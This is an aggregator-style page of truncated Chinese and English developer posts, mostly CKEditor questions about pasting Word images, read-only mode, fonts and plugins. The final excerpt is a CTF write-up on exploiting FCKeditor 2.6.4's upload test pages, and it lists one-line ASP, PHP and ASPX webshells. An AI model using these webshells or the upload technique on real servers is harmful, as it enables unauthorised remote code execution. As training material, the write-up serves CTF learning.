ckeditor

ckeditor粘贴word文档图片的思路

杀马特。学长 韩版系。学妹 提交于 2019-12-05 17:02:37
由于工作需要必须将word文档内容粘贴到编辑器中使用 但发现word中的图片粘贴后变成了file:///xxxx.jpg这种内容,如果上传到服务器后其他人也访问不了,网上找了很多编辑器发现没有一个能直接解决这个问题 考虑到自己除了工作其他时间基本上不使用windows,因此打算使用nodejs来解决这一问题 发现不管什么编辑器只要将图片转换成ba se64 后就可以直接使用(IE8及一下可能不支持),由于编辑器中添加word文档功能也只是自己用,因此可以忽略这种浏览器了 找了很久,试用了很多编辑器,发现只有ckeditor的功能还算符合我的需求(支持自定义HTML属性) 然后我写了一个监听粘贴事件的操作,用来获取粘贴之后的file:///xxxx.jpg这种路径 < script > var service = { http : require( 'http' ), url : require( 'url' ), querystring : require( 'querystring' ), fs : require( 'fs' ), config : { timeout : 60000, charset : 'utf8' , port : 10101, host : '127.0.0.1' }, router : { index : function (res, query){

CKEditor ReadOnly

核能气质少年 提交于 2019-12-05 16:41:59
I got a problem since I use the CKEditor ( http://ckeditor.com/ ). The problem is that I can't find a way to make the editor ReadOnly and I can't just use a textarea since I want to keep consistency. I've already seen lots og questions like this at StackOwerflow, but none of them work or are too old. My code so far is only to display/initialize the editor: $(document).ready(function(){ CKEDITOR.replace( 'ckeditor', { on: { // Check for availability of corresponding plugins. pluginsLoaded: function( evt ) { var doc = CKEDITOR.document, ed = evt.editor; if ( !ed.getCommand( 'bold' ) ) doc

CKEditor 4 - How to set default font?

旧巷老猫 提交于 2019-12-05 16:37:46
I use CKEditor 4 and I want to set default font. I added "font_defaultLabel" with my font choice but it doesn't work ... I found this solution on the Internet but it's a trick for me and not a true solution : CKEDITOR.on( 'instanceReady', function( ev ) { ev.editor.setData('<span style="font-family:Arial, Verdana, sans-serif;">­</span>'); }); Can someone help me? EpokK Zee you can use ckeditor's dataprocessor to modify (for example) paragraphs with your choice for font-size, font-family, this will affect any paragraph entered into ckeditor be it pasted, written or changed in the source;

jquery.mentionsInput and ckEditor

a 夏天 提交于 2019-12-05 15:55:45
This is just to help the people who is looking for something like mentions in ckeditor. I modified jquery.mentionsInput to work together with ckEditor and .. It is working :) You can see this online: http://jsfiddle.net/us6qo3Lc/ (type: @ken) <head> <meta charset="utf-8"> <script src="jquery-1.11.0.min.js"></script> <script src="ckeditor.js"></script> <link href="sample.css" rel="stylesheet"> <link href='jquery.mentionsInput.css' rel='stylesheet' type='text/css'> <script src='underscore-min.js' type='text/javascript'></script> <script src='autocomplete.js' type='text/javascript'></script> <

Add hindi font in CK editor

梦想与她 提交于 2019-12-05 15:34:54
I want to add hindi fonts in ck editor. I added following css in content.css of ckeditor. font-family: 'kruti_dev_010regular'; src: url('fonts/kruti_dev_010-webfont.eot'); src: url('fonts/kruti_dev_010-webfont.eot?#iefix') format('embedded-opentype'), url('fonts/kruti_dev_010-webfont.woff2') format('woff2'), url('fonts/kruti_dev_010-webfont.woff') format('woff'), url('fonts/kruti_dev_010-webfont.ttf') format('truetype'), url('fonts/kruti_dev_010-webfont.svg#kruti_dev_010regular') format('svg'); font-weight: normal; font-style: normal; } And i added the following line into config.js of ck

after ajax form submit value from ckeditor textarea is not sent through post

我们两清 提交于 2019-12-05 15:11:42
问题 i have a form having some textfields and a textarea (ckeditor), after onclick button art_title field value is sent to art_save.php page, but value from textarea is not sent. <script src="ckeditor/ckeditor.js"></script> function saveArt() { var title = document.getElementById('art_title'), art_title = title.value; var desc = document.getElementById('art_body'), art_body = desc.value; jQuery.ajax({ type: 'POST', url: 'art_save.php', data: { title: art_title, aut: art_author, tag: art_tag, desc:

CKEditor本地图片自动上传插件

荒凉一梦 提交于 2019-12-05 14:30:21
由于工作需要必须将word文档内容粘贴到编辑器中使用 但发现word中的图片粘贴后变成了file:///xxxx.jpg这种内容,如果上传到服务器后其他人也访问不了,网上找了很多编辑器发现没有一个能直接解决这个问题 考虑到自己除了工作其他时间基本上不使用windows,因此打算使用nodejs来解决这一问题 发现不管什么编辑器只要将图片转换成ba se64 后就可以直接使用(IE8及一下可能不支持),由于编辑器中添加word文档功能也只是自己用,因此可以忽略这种浏览器了 找了很久,试用了很多编辑器,发现只有ckeditor的功能还算符合我的需求(支持自定义HTML属性) 然后我写了一个监听粘贴事件的操作,用来获取粘贴之后的file:///xxxx.jpg这种路径 < script > var service = { http : require( 'http' ), url : require( 'url' ), querystring : require( 'querystring' ), fs : require( 'fs' ), config : { timeout : 60000, charset : 'utf8' , port : 10101, host : '127.0.0.1' }, router : { index : function (res, query){

TinyMCE/CKeditor freezing container div's scrolling when initializing

柔情痞子 提交于 2019-12-05 13:35:33
I have TinyMCE initializing textareas that have been loaded via AJAX callback, in a colorbox modal window containing jQuery UI tabs panels. The panel that the textareas are being loaded into are scrollable (overflow-y:auto). However, it seems that when I initialize TinyMCE on these new textareas, it scrolls about halfway down to one of the lower textareas on the list, and initializes them correctly, but you can no longer scroll the container panel's div in Chrome. You can still scroll the panel's div in Firefox and IE, but not in Chrome. My AJAX call: function getStuff(id){ $.ajax({ type:

CKEditor Plugin: text fields not editable

十年热恋 提交于 2019-12-05 13:12:26
问题 I am creating a CKEditor plugin, using version 4.2.1. I am trying to follow the tutorial on a Simple Plugin. However, the text inputs in my dialog window are not editable / clickable in the dialog, even when I just copy in the entire abbr plugin from the tutorial with no changes. I can still click the dialog tabs, OK / Cancel buttons, and drag the dialog around. I have added in other elements (like selects) to the dialog in my custom version, and I can interact with those. When I check the

CTF学习报告4

核能气质少年 提交于 2019-12-05 12:34:56
CTF编辑器漏洞分析 访问ip地址 接下来查询fckeditor的版本 一般是/fckeditor/_whatsnew.html 所以访问http://219.153.49.228:49105/fckeditor/_whatsnew.html 可以看到fckeditor的版本是2.6.4 然后我们需要知道这个fckeditor的上传地址 一般上传地址有这几种 (1)fckeditor/editor/filemanager/browser/default/connectors/test.html (2)fckeditor/editor/filemanager/upload/test.html (3)fckeditor/editor/filemanager/connectors/test.html (4)fckeditor/editor/filemanager/connectors/uploadtest.html 可以都试一下,然后发现正确的上传地址是(3) 访问界面 然后上传一个后缀为.asp的一句话木马。 常用一句话木马 asp一句话木马:    <%execute(request("value"))%>   php一句话木马:    <?php @eval($_POST[value]);?>   aspx一句话木马:   <%@ Page Language="Jscript"%>